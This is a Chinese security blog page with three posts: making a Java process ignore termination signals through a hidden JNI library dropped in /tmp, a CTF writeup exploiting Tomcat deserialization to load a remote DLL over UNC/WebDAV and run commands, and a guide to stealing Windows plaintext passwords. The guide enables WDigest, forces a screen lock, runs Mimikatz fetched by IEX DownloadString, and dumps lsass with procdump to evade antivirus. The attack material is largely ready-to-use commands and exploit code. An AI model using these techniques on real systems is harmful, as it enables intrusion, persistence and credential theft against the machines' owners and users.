Java 实现后台执行

常用的将程序放到后台执行,并在shell退出后依然运行的方法,是使用 nohup&,比如 nohup java -jar abc.jar &

原理

nohup 的作用是忽略 SIGHUP 信号。当一个shell关闭后,会向运行的程序发送 SIGHUP 信号,通知同一shell内的各个进程,它们与控制终端不再关联。系统对 SIGHUP 信号的默认处理是终止收到该信号的进程。

& 的作用是忽略 SIGINT 信号。Ctrl+C 会向前台进程发送 SIGINT 信号,以关闭程序。

实现

综上,只要我们能实现 nohup& 的功能,就能让程序在后台运行,不会因为 shell 断开而中断了。

由于题目是用 Java 实现,而 Java 本身并不能进行如此底层的操作,所以思路是使用 JNI,借助 C/C++ 实现。

直接上代码:

1
2
3
4
5
6
7
package io.github.jayl1n.daemon;

public class Main {

private native boolean ignoreSignal();

}

javah io.github.jayl1n.daemon.Main 生成头文件,添加到 C++ 项目里。

1
2
3
4
5
6
7
8
9
10
#include "io_github_jayl1n_daemon_Main.h"

#include <signal.h>

JNIEXPORT jboolean JNICALL Java_io_github_jayl1n_daemon_Main_ignoreSignal(JNIEnv *, jobject) {
//忽略 SIGHUP SIGINT 信号,防止 shell 断开 ,Ctrl+C 中断程序
signal(SIGHUP, SIG_IGN);
signal(SIGINT, SIG_IGN);
return JNI_TRUE;
}

生成出来的动态库,需要放到与jar包相同的目录下,或者是 java.library.path 指定的路径,否则在 System.loadLibrary 时无法找到动态库。

java.library.path 变量可以在执行时添加 -Djava.library.path=/a/b/c 参数指定。System.getProperty("java.library.path") 可以查看当前的路径。但无法通过 System.setProperty("java.library.path","/a/b/c") 修改,因为在 JVM 启动时就会缓存这个值,后续修改不会生效,可以通过反射来清除 ClassLoadersys_paths 变量(缓存标志),重新初始化 usr_paths,代码如下:

java/lang/ClassLoader.java:1815

1
2
3
4
5
6
7
8
9
10
11
12
13
static void loadLibrary(Class<?> fromClass, String name, boolean isAbsolute) {
ClassLoader loader = (fromClass == null) ? null : fromClass.getClassLoader();
if (sys_paths == null) {
usr_paths = initializePath("java.library.path");
sys_paths = initializePath("sun.boot.library.path");
}
if (isAbsolute) {
if (loadLibrary0(fromClass, new File(name))) {
return;
}
throw new UnsatisfiedLinkError("Can't load library: " + name);
}
......

第三行,sys_paths 不为 null 时,不会再初始化 java.library.path,相当于是第一次读取就被缓存到了 usr_paths

通过反射清除 sys_paths:

1
2
3
4
5
6
7
8
9
10
11
12
 try {
//先修改 java.library.path
System.setProperty("java.library.path", System.getProperty("java.library.path") + ":/Users/jaylin/daemon-demo/bin");

//清除缓存标志
Field sys_paths = ClassLoader.class.getDeclaredField("sys_paths");
sys_paths.setAccessible(true);
sys_paths.set(null,null);
} catch (NoSuchFieldException | IllegalAccessException e) {
e.printStackTrace();
}
//后续再 loadLibrary 时,将会使用新的 usr_paths

👆上面说了一个奇迹淫巧,在有多个动态库,相互依赖时比较有用。

这里其实也可以使用 System.load 直接指定绝对路径(注意和System.loadLibrary 的区别)。

由于动态库无法直接打包到 jar 包里用,所以一般是要分开上传到服务器。

为了优雅的使用动态库,可以硬编码到 jar 包里,在执行时释放出来,JNI 支持延时加载动态库。

这里我使用 base64 编码, cat /Users/jaylin/daemon-demo/bin/libdaemon_jni.dylib | base64,下面写个例子,定时输出字符到 /tmp/test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class Main {
private native boolean ignoreSignal();

public static void main(String[] args) throws IOException, Base64DecodingException {
//释放动态库
String dynlib = "z/rt/+AQAAAOglAAAAvwIAAAC+AQAAAEiJRejoEgAAALEBD7b5SIlF4In4SIPEIF3DkP8lZhAAAAAATI0dZRAAAEFT/yVVAAAAkGgAAAAA6eb///==(省略)";
File dynlibFile = new File("/tmp/.jayl1n");
FileOutputStream fileOutputStream = new FileOutputStream(dynlibFile);
fileOutputStream.write(Base64.decode(dynlib));
fileOutputStream.close();

//加载动态库
System.load("/tmp/.jayl1n");
//调用
new Main().ignoreSignal();
AtomicInteger i = new AtomicInteger();
while (true) {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "echo " + i.getAndIncrement() + " >> /tmp/test"});
Thread.sleep(1000);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
}

效果:

效果

进阶 —— 免疫 kill 命令

kill 命令默认是发送 SIGTERM 信号,友好地通知进程该结束了。进程在这种情况下可以不响应 SIGTERM(即忽略),继续执行下去。

也就是说只要再 signal(SIGTERM, SIG_IGN); 就可以防止被 kill 杀掉了,经过测试确实可以实现,有兴趣的可以自己试一下。

不过,当 kill 命令带参数时(kill -9),发送的是 SIGKILL 信号,这个信号无法被捕获或忽略,CTF 里有常用的杀不死马的方法 kill -9 -1(杀死除init进程外的所有进程),此时,程序无法感知到 SIGKILL 信号,就被系统干掉了。

References

Unix Signals

Nohup源码分析

一分钟了解nohup和&的功效

kill命令——系统内部执行流程

不可忽略或捕捉的信号—SIGSTOP和SIGKILL

2020 大家新年快乐鸭

距离上次写博客已经隔了大半年,由于中间换了MacBook,又急急忙忙的赶去实习,原来博客的源码一直没时间迁移过来(就是懒),所以很久都没有发文了。

目前我在某美股上市公司做红蓝对抗,实习了这么久,收获了挺多,打算有时间了写出来。

敬请关注,祝大家新年快乐~ (手动龇牙

SCTF2019 babyEoP Writeup

前言

第一次给比较正式的比赛出题 :) ,花了挺长时间准备的。之前还一直担心题目太简单被神仙们秒了,看结果还是阔以的——0解,也有些遗憾,没能让 Part 2 出来。

Writeup

题目给了一个webshell,弱口令 123456 直接进去。

Tomcat启用了Java Security Manager,webshell基本所有功能无法正常使用,但是可以查看有限的几个目录文件,无写权限。

如果顺利,应该可以收集到以下信息:

  1. cookie处存在反序列化的点,有反序列化漏洞。

  2. 查看lib目录,存在 commons-collections 3.1 gadget。

  3. 找到 catalina.policy 文件,是Tomcat默认的安全策略配置文件,这应该是本题可能有点脑洞的地方,因为没有给 C:/babyEoP/apache-tomcat-8.5.42 的读权限,所以无法列目录,但是 conf 目录是可读的。(有将近10位选手读到了这个文件hhhh。)

    我在官方提供的 catalina.policy 的基础上,做了一些修改。给了 LoadLibrarycreateClassLoaderaccessDeclaredMembers 几个重要权限。

分析 policy ,应该很容易可以想到,要通过 JNI 绕过 Java Security Manager。但是 JNI 需要加载一个 dll 动态链接库,由于并没有给任何写权限,所以是不可能上传 dll 的。

并且,webshell 的 Eval Java Code 使用时,需要向当前目录写一个 tmp.jsp 文件,所以也是不能用的(不要想着用这个执行代码)。

那么该如何才能执行代码来加载一个不在本地的dll呢?

下面是具体的解题思路:

题目已经给了反序列化的点以及gadget,可以通过这个来执行代码。

ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget,但是都是基于 Runtime.exec 的,并没有给这个权限。So 想要直接利用是不行的。

但是直接用 gadget 构造出加载dll可能比较困难,所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。

构造见 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java (基于 CommonsCollections6)

有些师傅用的 CommonsCollections5 gadget 改的,但是 BadAttributeValueExpException 在反序列化时,会检查是否启用 JSM,如果启用了,则不会触发 gadget 需要的 toString 方法,导致利用失败。

下面要加载 dll,用 JNI 绕 JSM。

同样因为没有写权限,且 dll 无法一起打包到 jar 里,所以要从网络上加载 dll。

这里利用 System.load 的一个特性——可以使用 UNC 路径,加载远程的 dll。

为什么可以使用 UNC 呢?来看下 System.load 的调用过程。

  1. System.load

1561382235958

​ 调用了 Runtime.getRuntime().load0

  1. Runtime.getRuntime().load0

    1561383875593

​ 在这里会判断 filename 是否是一个绝对路径,如果不是就直接抛出异常,是就进一步加载。

  1. File.isAbsolute

    1561382827270

    再看看 File 是如何判断是否是绝对路径的。

    根据描述,linux下要求以 / 开头。windows下,要求以盘符或者 \\\\ 开头。

emm 综上,所以这里可以使用 UNC 路径。

下面是另一个坑,UNC 默认是走 445 端口的,如果没有特殊情况,公网上都是屏蔽了这个端口的。

这里利用 windows 一个特性,在开启了 webclient 服务的情况下,UNC 访问 445 失败时,会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝), 这一点 hint 已经提示过了。

EXP

R.java

1
2
3
4
5
6
7
8
9
10
11
public class R {
static {
System.load("\\\\xxx.xxx.xxx.xxx\\JNI.dll");
}

public static native void exec(String cmd);

public R(String cmd) {
exec(cmd);
}
}

执行命令

1
2
javac R.java
jar cvf R.jar R.class

将打包的 R.jar 放到服务器上的 web 服务下。

DLL

R.h

1
2
3
4
5
6
7
8
9
10
#ifdef __cplusplus
extern "C" {
#endif
JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

R.cpp

1
2
3
4
5
6
7
8
9
#include "R.h"
#include<stdlib.h>

JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *env, jclass clazz, jstring str) {
char* cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE);
system(cmd);
env->ReleaseStringUTFChars(str,cmd);
}

编译成 dll,放到服务器的 webdav 服务下。

https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java 构造序列化 payload,贴到 cookie 里打一发,完事儿~

Windows下抓取明文密码

关于 KB2871997

KB2871997 之前, Mimikatz 可以直接抓取明文密码。

当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。
但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)

以下是支持的系统:

  • Windows 7
  • Windows 8
  • Windows 8.1
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2012R 2

开启

  • cmd

    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1

关闭

  • cmd

    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0

强制锁屏

在开启 Wdigest Auth 后,需要管理员重新登录才能逮到明文密码。

我们可以强制锁屏,让管理员重新登录。

  • cmd

    1
    rundll32 user32.dll,LockWorkStation
  • powershell

    1
    powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"

经测试 Win10企业版 仅锁屏读明文失败,需要注销才行,其它版本未知。

抓取明文

开启 Wdigest Auth 后,接下来就用常规的抓取明文的方式就行了。

Mimikatz

  1. powershell

    1
    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz
  2. exe

    1
    2
    privilege::debug
    sekurlsa::logonpasswords

离线抓取

Mimikatz 被杀,可以先将 lsass 进程 dump 下来,在本地用 Mimikatz 读取。

  1. Dump 进程

    可以用微软提供的 procdump ,自带微软签名,可以过杀软。

    1
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
  2. Mimikatz 读取

    1
    2
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full
|